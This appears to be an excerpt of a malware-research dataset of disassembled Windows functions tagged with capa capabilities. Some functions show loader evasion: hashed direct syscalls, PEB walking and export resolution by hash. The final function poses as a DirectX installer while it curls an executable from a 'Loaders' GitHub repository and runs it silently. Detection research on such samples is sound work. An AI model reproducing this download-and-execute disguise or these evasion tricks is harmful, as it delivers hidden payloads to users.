joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000df6f0
Capabilities:
Check for software breakpoints

Disassembly:
push rbx
push rdi
push rsi
lea rsp, [rsp - 0x20]
mov rbx, rcx
cmp dword [rbx + 0x24], 0xca
jne 0x1000df72c
mov rcx, rbx
call fcn.1000e4170
cmp byte [rbx + 0x50], 0
je 0x1000df724
mov dword [rbx + 0x24], 0xcf
mov dil, 1
jmp 0x1000df7ef
mov dword [rbx + 0x24], 0xcb
nop
cmp dword [rbx + 0x24], 0xcb
jne 0x1000df7ca
mov rax, qword [rbx + 0x208]
cmp byte [rax + 0x20], 0
je 0x1000df7bc
nop word [rax + rax]
cmp qword [rbx + 0x10], 0
je 0x1000df760
mov rcx, rbx
mov rax, qword [rbx + 0x10]
call qword [rax]
mov rcx, rbx
mov rax, qword [rbx + 0x208]
call qword [rax]
mov esi, eax
test eax, eax
jne 0x1000df77c
xor dil, dil
jmp 0x1000df7ef
cmp esi, 2
je 0x1000df7ba
nop dword [rax]
cmp qword [rbx + 0x10], 0
je 0x1000df750
cmp esi, 3
je 0x1000df795
cmp esi, 1
jne 0x1000df750
mov rax, qword [rbx + 0x10]
add dword [rax + 8], 1
mov rax, qword [rbx + 0x10]
mov edx, dword [rax + 8]
cmp edx, dword [rax + 0xc]
jl 0x1000df750
mov rdx, qword [rbx + 0x10]
mov eax, dword [rbx + 0x16c]
add dword [rdx + 0xc], eax
nop
jmp 0x1000df750
nop
mov eax, dword [rbx + 0x84]
mov dword [rbx + 0x8c], eax
jmp 0x1000df7e4
cmp dword [rbx + 0x24], 0xcc
je 0x1000df7e4
mov r8d, dword [rbx + 0x24]
mov rcx, rbx
mov edx, 0x14
call fcn.1000dfbe0
mov rcx, rbx
call fcn.1000df800
mov dil, al
mov al, dil
nop
lea rsp, [rsp + 0x20]
pop rsi
pop rdi
pop rbx
ret

Function at 0x100108780
Capabilities:
Inspect load icon resource

Disassembly:
push rbp
mov rbp, rsp
lea rsp, [rsp - 0x80]
mov qword [rbp - 8], rcx
mov dword [rbp - 0x58], 8
lea rax, [fcn.100106ce0]
mov qword [rbp - 0x50], rax
mov dword [rbp - 0x48], 0
mov dword [rbp - 0x44], 0
call fcn.100015870
mov qword [rbp - 0x40], rax
mov rcx, qword [0x1003cb430]
lea rdx, str.MAINICON
call sub.user32.dll_LoadIconA
mov qword [rbp - 0x38], rax
test rax, rax
jne 0x1001087e4
mov edx, 0x7f00
xor ecx, ecx
call sub.user32.dll_LoadIconA
mov qword [rbp - 0x38], rax
nop
mov edx, 0x7f00
xor ecx, ecx
call sub.user32.dll_LoadCursorA
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], 0
mov qword [rbp - 0x20], 0
lea rax, str.Window
mov qword [rbp - 0x18], rax
lea rcx, [rbp - 0x58]
call sub.user32.dll_RegisterClassW
test ax, ax
setne byte [rbp - 0xc]
cmp byte [rbp - 0xc], 0
je 0x100108868
or dword [rbp - 0x58], 0x800
cmp dword [0x1002a2ba0], 6
jb 0x10010883c
or dword [rbp - 0x58], 0x20000
mov qword [rbp - 0x38], 0
mov qword [rbp - 0x28], 0
lea rax, str.HintWindow
mov qword [rbp - 0x18], rax
lea rcx, [rbp - 0x58]
call sub.user32.dll_RegisterClassW
test ax, ax
setne byte [rbp - 0xc]
nop
mov al, byte [rbp - 0xc]
nop
lea rsp, [rbp]
pop rbp
ret
Function at 0x100109b20
Capabilities:
Read clipboard data

Disassembly:
push rbp
mov rbp, rsp
lea rsp, [rsp - 0x40]
mov qword [rbp - 0x10], rcx
mov qword [rbp - 8], rdx
mov byte [rbp - 0x14], 0
mov rax, qword [rbp - 0x10]
mov ecx, dword [rax - 0x10]
call sub.user32.dll_GetClipboardData
mov rdx, qword [rbp - 0x10]
mov qword [rdx - 0x30], rax
mov rax, qword [rbp - 0x10]
cmp qword [rax - 0x30], 0
je 0x100109bb8
mov rax, qword [rbp - 0x10]
mov rcx, qword [rax - 0x30]
call sub.kernel32.dll_GlobalSize
mov rdx, qword [rbp - 0x10]
mov dword [rdx - 0x3c], eax
mov rax, qword [rbp - 0x10]
cmp dword [rax - 0x3c], 0
jle 0x100109bb8
mov rax, qword [rbp - 0x10]
mov rcx, qword [rax - 0x30]
call sub.kernel32.dll_GlobalLock
mov rdx, qword [rbp - 0x10]
mov qword [rdx - 0x38], rax
nop
mov rax, qword [rbp - 0x10]
mov rdx, qword [rax - 0x38]
mov rax, qword [rbp - 0x10]
mov r8d, dword [rax - 0x3c]
mov rcx, qword [rbp - 8]
mov rax, qword [rbp - 8]
mov rax, qword [rax]
call qword [rax + 0x108]
nop
mov rcx, rbp
call fcn.100109b00
mov byte [rbp - 0x14], 1
nop
mov al, byte [rbp - 0x14]
nop
lea rsp, [rbp]
pop rbp
ret
Function at 0x10010a350
Capabilities:
Write clipboard data

Disassembly:
push rbp
mov rbp, rsp
lea rsp, [rsp - 0xf0]
mov qword [rbp - 0x50], rbx
mov qword [rbp - 0x18], rcx
mov dword [rbp - 8], edx
mov qword [rbp - 0x10], r8
mov qword [rbp - 0x48], 0
mov qword [rbp - 0x38], 0
nop
mov rax, qword [rbp - 0x10]
mov rdx, qword [rbp - 0x10]
mov rdx, qword [rdx]
mov rcx, rax
call qword [rdx + 0xe0]
mov rdx, rax
mov ecx, 2
call sub.kernel32.dll_GlobalAlloc
mov qword [rbp - 0x20], rax
test rax, rax
jne 0x10010a4b8
lea rcx, [rbp - 0x38]
call fcn.100009020
mov rcx, qword [rbp - 0x10]
mov rax, qword [rbp - 0x10]
mov rax, qword [rax]
call qword [rax + 0xe0]
mov qword [rbp - 0x40], rax
mov rdx, rax
lea rcx, [rbp - 0x38]
call fcn.10008b5e0
mov rax, qword [rbp - 0x38]
mov qword [rbp - 0x30], rax
lea rcx, [rbp - 0x48]
call fcn.100009020
mov rdx, qword [rbp - 0x20]
lea rcx, [rbp - 0x48]
call fcn.10008b640
mov rax, qword [rbp - 0x48]
mov qword [rbp - 0x40], rax
call fcn.10008be20
mov rbx, rax
mov qword [rsp + 0x90], 0
mov qword [rsp + 0x88], 0
mov qword [rsp + 0x80], 0
mov qword [rsp + 0x78], 0
mov qword [rsp + 0x70], 0
mov qword [rsp + 0x68], 0
mov qword [rsp + 0x60], 0
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov rax, qword [rbp - 0x30]
mov qword [rsp + 0x20], rax
lea r9, str._DataSize
mov r8, qword [rbp - 0x40]
lea rdx, str.TWin32WidgetSet.ClipboardGetOwnerShip_DataHandle
mov rcx, rbx
call fcn.10008d700
mov rax, qword [rbp - 0x18]
mov byte [rax - 0x24], 0
jmp 0x10010a505
mov rcx, qword [rbp - 0x20]
call sub.kernel32.dll_GlobalLock
mov qword [rbp - 0x28], rax
nop
mov rcx, qword [rbp - 0x10]
mov rax, qword [rbp - 0x10]
mov rax, qword [rax]
call qword [rax + 0xe0]
mov r8, rax
mov rdx, qword [rbp - 0x28]
mov rcx, qword [rbp - 0x10]
mov rax, qword [rbp - 0x10]
mov rax, qword [rax]
call qword [rax + 0x100]
nop
mov rcx, rbp
call fcn.10010a300
mov rdx, qword [rbp - 0x20]
mov ecx, dword [rbp - 8]
call sub.user32.dll_SetClipboardData
nop
mov rcx, rbp
call fcn.10010a320
mov rbx, qword [rbp - 0x50]
lea rsp, [rbp]
pop rbp
ret
Function at 0x1002234d0
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
mov eax, 0xffffffff
mov rdx, rcx
test rcx, rcx
je 0x1002234e1
mov rdx, qword [rdx - 8]
test rdx, rdx
jle 0x10022353c
mov rdx, rcx
test rcx, rcx
je 0x1002234f2
mov rdx, qword [rdx - 8]
cmp edx, 1
jl 0x10022353c
xor r8d, r8d
nop word [rax + rax]
add r8d, 1
movsxd r9, r8d
movzx r10d, byte [rcx + r9 - 1]
mov r9d, eax
xor r10d, r9d
and r10d, 0xff
mov r9d, eax
shr r9d, 8
and r9d, 0xffffff
lea r11, [0x1002a6090]
xor r9d, dword [r11 + r10*4]
mov eax, r9d
cmp edx, r8d
jg 0x100223500
nop
not eax
ret

Function at 0x100223540
Capabilities:
Hash data with crc32

Disassembly:
mov rax, rcx
and edx, 0xff
mov r8d, dword [rax + 0x18]
mov ecx, r8d
xor edx, ecx
and edx, 0xff
shr r8d, 8
and r8d, 0xffffff
lea rcx, [0x1002a6090]
xor r8d, dword [rcx + rdx*4]
mov dword [rax + 0x18], r8d
ret
Function at 0x2915e3daa
Capabilities:
Parse credit card information

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
mov bpl, byte [r8 + 1]
mov dil, byte [r8]
mov rbx, rdx
mov rsi, r8
test bpl, bpl
je 0x2915e3e06
test dil, dil
jne 0x2915e3e98
mov word [rdx + 4], 1
mov rcx, rbx
call qword [rbx + 0x10]
mov eax, dword [rbx]
cmp eax, 0x24
je 0x2915e3e9f
jg 0x2915e3df5
test eax, eax
je 0x2915e3e98
jmp 0x2915e3eb7
sub eax, 0x5c
and eax, 0xfffffffb
jne 0x2915e3eb7
jmp 0x2915e403b
test dil, dil
je 0x2915e3f5c
mov word [rdx + 4], 0
mov rcx, rdx
call qword [rdx + 0x10]
mov eax, dword [rbx]
cmp eax, 0x7d
je 0x2915e403b
test eax, eax
je 0x2915e403b
mov rcx, rbx
call qword [rbx + 0x20]
test al, al
jne 0x2915e403b
mov ecx, dword [rbx]
lea eax, [rcx - 0x2028]
cmp eax, 1
ja 0x2915e3ec1
mov rcx, rbx
call sym.skip
movzx ecx, word [rbx]
mov edx, 8
call sym.iswctype
test eax, eax
jne 0x2915e3e49
cmp dword [rbx], 0x2f
je 0x2915e3ee4
mov eax, dword [rbx]
cmp eax, 0x3f
jg 0x2915e3fad
cmp eax, 0x24
jle 0x2915e3f79
mov edx, 0x7e006ab
shl rdx, 0x25
bt rdx, rax
jae 0x2915e3f92
cmp byte [rsi + 2], 0
jne 0x2915e3f51
xor edi, edi
jmp 0x2915e403b
mov rcx, rbx
call sym.advance
cmp dword [rbx], 0x7b
je 0x2915e403b
mov edi, ebp
jmp 0x2915e3dd5
mov rcx, rbx
call sym.advance
jmp 0x2915e3eb0
cmp ecx, 0xa
je 0x2915e3e49
movzx ecx, cx
mov edx, 8
call sym.iswctype
test eax, eax
je 0x2915e3e8e
mov rcx, rbx
call sym.skip
jmp 0x2915e3e1b
mov rcx, rbx
call sym.skip
mov eax, dword [rbx]
cmp eax, 0x2f
jne 0x2915e3f1f
mov rcx, rbx
call sym.skip
mov eax, dword [rbx]
test eax, eax
setne cl
cmp eax, 0xa
setne dl
test cl, dl
je 0x2915e3e51
sub eax, 0x2028
cmp eax, 1
ja 0x2915e3ef3
jmp 0x2915e3e51
cmp eax, 0x2a
jne 0x2915e3e8e
mov rcx, rbx
call sym.skip
mov eax, dword [rbx]
test eax, eax
je 0x2915e3e51
mov rcx, rbx
cmp eax, 0x2a
jne 0x2915e3f2b
call sym.skip
cmp dword [rbx], 0x2f
jne 0x2915e3f30
jmp 0x2915e3e49
cmp dword [rbx], 0x3f
jne 0x2915e3e98
jmp 0x2915e3f67
cmp byte [r8 + 2], 0
je 0x2915e3e98
mov rcx, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp sym.scan_ternary_qmark
cmp eax, 0x21
jne 0x2915e403b
mov rcx, rbx
call sym.skip
cmp dword [rbx], 0x3d
jmp 0x2915e4035
cmp eax, 0x2d
je 0x2915e3fc7
cmp eax, 0x2b
jne 0x2915e403b
mov rcx, rbx
call sym.skip
cmp dword [rbx], 0x2b
jmp 0x2915e3fd2
cmp eax, 0x69
je 0x2915e3fd9
jg 0x2915e3fc2
cmp eax, 0x5b
je 0x2915e3e8e
cmp eax, 0x5e
jmp 0x2915e4035
cmp eax, 0x7c
jmp 0x2915e4035
mov rcx, rbx
call sym.skip
cmp dword [rbx], 0x2d
sete al
test al, al
jmp 0x2915e4035
mov rcx, rbx
call sym.skip
cmp dword [rbx], 0x6e
jne 0x2915e403b
mov rcx, rbx
call sym.skip
movzx ecx, word [rbx]
mov edx, 0x103
call sym.iswctype
test eax, eax
je 0x2915e3e8e
xor ebp, ebp
lea r12, str.stanceof
movsx eax, byte [r12 + rbp]
cmp dword [rbx], eax
jne 0x2915e403b
mov rcx, rbx
inc rbp
call sym.skip
cmp rbp, 8
jne 0x2915e400c
movzx ecx, word [rbx]
mov edx, 0x103
call sym.iswctype
test eax, eax
je 0x2915e3e8e
mov eax, edi
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
Function at 0x2915e4240
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sym.__acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sym.fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sym.__acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call sym.vfprintf
call sym.abort
nop

Function at 0x2915e4c42
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x291660108]
test eax, eax
je 0x2915e4cda
lea rax, [0x2916600e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x291660110]
mov qword [rbp - 8], rax
jmp 0x2915e4cbe
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x2915e4cb2
cmp qword [rbp - 0x10], 0
je 0x2915e4cb2
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x2915e4c78
lea rax, [0x2916600e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x2915e4cdb
nop
add rsp, 0x30
pop rbp
ret

Function at 0x2915e4de0
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x2915e4e08
mov eax, 0
jmp 0x2915e4e56
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x2915e4e31
mov eax, 0
jmp 0x2915e4e56
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x2915e4e51
mov eax, 0
jmp 0x2915e4e56
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x2915e4e5c
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x2915e4eda
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x2915e4ed1
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x2915e4ed1
mov rax, qword [rbp - 8]
jmp 0x2915e4eef
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x2915e4ea4
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x140001000
Capabilities:
Execute syscall

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov ecx, 0xe338fad6
call fcn.140001a0c
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
syscall
ret

Function at 0x140001080
Capabilities:
Execute syscall

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov ecx, 0x37853f20
call fcn.140001a0c
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
syscall
ret

Function at 0x1400010c0
Capabilities:
Execute syscall

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov ecx, 0x7c2b67ad
call fcn.140001a0c
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
syscall
ret

Function at 0x140001100
Capabilities:
Execute syscall

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov ecx, 0x20b82624
call fcn.140001a0c
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
syscall
ret
Function at 0x140001898
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x20
movsxd r15, dword [rcx + 0x3c]
mov r9, rcx
mov rbp, rdx
mov r8d, dword [r15 + rcx + 0x88]
add r8, rcx
mov esi, dword [r8 + 0x1c]
mov r11d, dword [r8 + 0x20]
add rsi, rcx
mov r14d, dword [r8 + 0x24]
add r11, rcx
add r14, rcx
xor ecx, ecx
cmp rdx, 0x10000
jae 0x14000190c
mov r10d, dword [r8 + 0x10]
movzx edx, bp
cmp edx, r10d
jb 0x140001a05
mov ecx, dword [r8 + 0x14]
add ecx, r10d
cmp edx, ecx
jae 0x140001a05
sub edx, r10d
mov ecx, dword [rsi + rdx*4]
jmp 0x14000194d
xor eax, eax
cmp dword [r8 + 0x18], eax
jbe 0x140001950
mov r10d, dword [r11]
mov rdx, rbp
add r10, r9
sub r10, rbp
movzx ebx, byte [rdx]
movzx edi, byte [rdx + r10]
sub ebx, edi
jne 0x140001933
inc rdx
test edi, edi
jne 0x140001920
test ebx, ebx
je 0x140001945
inc eax
add r11, 4
cmp eax, dword [r8 + 0x18]
jb 0x140001914
jmp 0x140001950
movzx ecx, word [r14 + rax*2]
mov ecx, dword [rsi + rcx*4]
add rcx, r9
cmp rcx, r8
jb 0x1400019e9
mov eax, dword [r15 + r9 + 0x8c]
lea rdx, [rax + rax*4]
lea rax, [r8 + rdx*8]
cmp rcx, rax
jae 0x1400019e9
call sub.api_ms_win_crt_string_l1_1_0.dll__strdup
mov rbx, rax
test rax, rax
je 0x140001a05
mov edx, 0x2e
mov rcx, rax
call fcn.140001ff8
mov rdi, rax
mov byte [rax], 0
mov rax, qword [0x140007068]
test rax, rax
jne 0x1400019c5
lea rcx, str.KERNEL32.DLL
call fcn.140001834
mov rcx, rax
lea rdx, [0x140004440]
call fcn.140001898
mov qword [0x140007068], rax
test rax, rax
je 0x140001a05
mov rcx, rbx
call rax
mov rcx, rbx
mov rsi, rax
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
test rsi, rsi
je 0x140001a05
lea rdx, [rdi + 1]
mov rcx, rsi
call fcn.140001898
mov rcx, rax
mov rax, rcx
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop rdi
ret
xor eax, eax
jmp 0x1400019ec

Function at 0x140001a50
Capabilities:
Encode data using xor

Disassembly:
xor r9d, r9d
mov r8, rcx
mov eax, 0x479a4d5e
cmp byte [rcx], r9b
je 0x140001a7a
movzx ecx, word [rcx]
mov edx, eax
ror edx, 8
inc r9d
add edx, ecx
mov ecx, r9d
add rcx, r8
xor eax, edx
cmp byte [rcx], 0
jne 0x140001a60
ret
Function at 0x140001a7c
Capabilities:
Access peb ldr_data
Get ntdll base address
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x20
cmp dword [0x1400077c0], 0
jne 0x140001c1a
mov rax, qword gs:[0x60]
xor edx, edx
mov rcx, qword [rax + 0x18]
mov r8, qword [rcx + 0x10]
mov rax, qword [r8 + 0x30]
test rax, rax
je 0x140001c3c
mov r9d, 0x20202020
mov rdi, rax
movsxd rax, dword [rax + 0x3c]
mov ecx, dword [rax + rdi + 0x88]
test ecx, ecx
je 0x140001aff
lea rdx, [rdi + rcx]
mov ecx, dword [rdx + 0xc]
mov eax, dword [rcx + rdi]
or eax, r9d
cmp eax, 0x6c64746e
jne 0x140001aff
mov eax, dword [rcx + rdi + 4]
or eax, r9d
cmp eax, 0x6c642e6c
je 0x140001b0b
mov r8, qword [r8]
mov rax, qword [r8 + 0x30]
test rax, rax
jne 0x140001acb
test rdx, rdx
je 0x140001c3c
mov r15d, dword [rdx + 0x1c]
mov r14d, dword [rdx + 0x20]
add r15, rdi
mov r12d, dword [rdx + 0x24]
add r14, rdi
mov ebp, dword [rdx + 0x18]
add r12, rdi
xor esi, esi
lea eax, [rbp - 1]
mov ecx, dword [r14 + rax*4]
mov ebp, eax
add rcx, rdi
mov r13d, eax
mov eax, 0x775a
cmp word [rcx], ax
jne 0x140001b83
mov ebx, esi
add rbx, rbx
call fcn.140001a50
lea rcx, [0x1400077c0]
inc esi
mov dword [rcx + rbx*8 + 8], eax
movzx eax, word [r12 + r13*2]
lea r13, [0x1400077c0]
mov eax, dword [r15 + rax*4]
and qword [r13 + rbx*8 + 0x10], 0
mov dword [r13 + rbx*8 + 0xc], eax
cmp esi, 0x1f4
je 0x140001b8e
jmp 0x140001b8a
lea r13, [0x1400077c0]
test ebp, ebp
jne 0x140001b2e
xor r8d, r8d
mov dword [0x1400077c0], esi
lea eax, [rsi - 1]
test eax, eax
je 0x140001c1a
mov eax, esi
xor ecx, ecx
sub eax, r8d
cmp eax, 1
je 0x140001c0f
lea r11d, [rcx + 1]
mov r10d, ecx
add r10, r10
mov r9d, r11d
add r9, r9
mov edi, dword [r13 + r10*8 + 0xc]
mov ebx, dword [r13 + r9*8 + 0xc]
cmp edi, ebx
jbe 0x140001c00
mov eax, dword [r13 + r9*8 + 8]
mov edx, dword [r13 + r10*8 + 8]
mov rcx, qword [r13 + r10*8 + 0x10]
mov dword [r13 + r10*8 + 8], eax
mov rax, qword [r13 + r9*8 + 0x10]
mov qword [r13 + r10*8 + 0x10], rax
mov dword [r13 + r10*8 + 0xc], ebx
mov dword [r13 + r9*8 + 8], edx
mov dword [r13 + r9*8 + 0xc], edi
mov qword [r13 + r9*8 + 0x10], rcx
mov esi, dword [0x1400077c0]
mov eax, esi
mov ecx, r11d
sub eax, r8d
dec eax
cmp r11d, eax
jb 0x140001baa
inc r8d
lea eax, [rsi - 1]
cmp r8d, eax
jb 0x140001b9e
mov eax, 1
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x20
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
xor eax, eax
jmp 0x140001c1f

Function at 0x14000295c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400029a6
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400029a6
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400029a6
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400029a6
cmp dword [rcx + 0x84], 0xe
jbe 0x1400029a6
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400029a8
xor al, al
add rsp, 0x28
ret
Function at 0x140006a50
Capabilities:
Set console window title

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
lea rcx, str.Installing_DirectX
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
call fcn.1400069a0
test al, al
je 0x140006b24
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
xor eax, eax
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rax
lea r8d, [rax + 0x1e]
lea rdx, str.__DirectX_is_already_installed
lea rcx, [rbp - 0x20]
call fcn.140002420
nop
lea rcx, [0x140055ca0]
call fcn.14000bb90
lea rdx, str.__
call fcn.140002140
lea rcx, [0x140055d00]
call fcn.14000bb90
lea rdx, [rbp - 0x20]
cmp qword [rbp - 8], 0xf
cmova rdx, qword [rbp - 0x20]
mov r8, qword [rbp - 0x10]
call fcn.14000fec0
lea rcx, [0x140056530]
call fcn.14000d840
nop
mov rdx, qword [rbp - 8]
cmp rdx, 0xf
jbe 0x140006c90
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006c8b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006c9c
jmp 0x140006c8b
lea rcx, str.curl__o_dxwebsetup.exe_https:__raw.githubusercontent.com_RealGamer007_Loaders_main_dxwebsetup.exe
call fcn.14000ba80
lea rcx, str.start__wait_dxwebsetup.exe__Q
call fcn.14000ba80
call fcn.1400069a0
xorps xmm0, xmm0
lea rcx, [rbp - 0x20]
movups xmmword [rbp - 0x20], xmm0
test al, al
je 0x140006bfa
xor eax, eax
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rax
lea r8d, [rax + 0x20]
lea rdx, str.__DirectX_installed_successfully
call fcn.140002420
nop
lea rcx, [0x140055ca0]
call fcn.14000bb90
lea rdx, str.__
call fcn.140002140
lea rcx, [0x140055d00]
call fcn.14000bb90
lea rdx, [rbp - 0x20]
cmp qword [rbp - 8], 0xf
cmova rdx, qword [rbp - 0x20]
mov r8, qword [rbp - 0x10]
call fcn.14000fec0
lea rcx, [0x140056530]
call fcn.14000d840
nop
mov rdx, qword [rbp - 8]
cmp rdx, 0xf
jbe 0x140006c90
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006c8b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006ca2
jmp 0x140006c8b
xor eax, eax
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rax
lea r8d, [rax + 0x1b]
lea rdx, str.__Failed_to_install_DirectX
call fcn.140002420
nop
lea rcx, [0x140055cb0]
call fcn.14000bb90
lea rdx, str._X_
call fcn.140002140
lea rcx, [0x140055d00]
call fcn.14000bb90
lea rdx, [rbp - 0x20]
cmp qword [rbp - 8], 0xf
cmova rdx, qword [rbp - 0x20]
mov r8, qword [rbp - 0x10]
call fcn.14000fec0
mov rcx, rax
call fcn.14000d840
nop
mov rdx, qword [rbp - 8]
cmp rdx, 0xf
jbe 0x140006c90
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006c8b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006c96
call fcn.1400169d4
add rsp, 0x40
pop rbp
ret
call fcn.14001d988
int3
call fcn.14001d988
int3
call fcn.14001d988
int3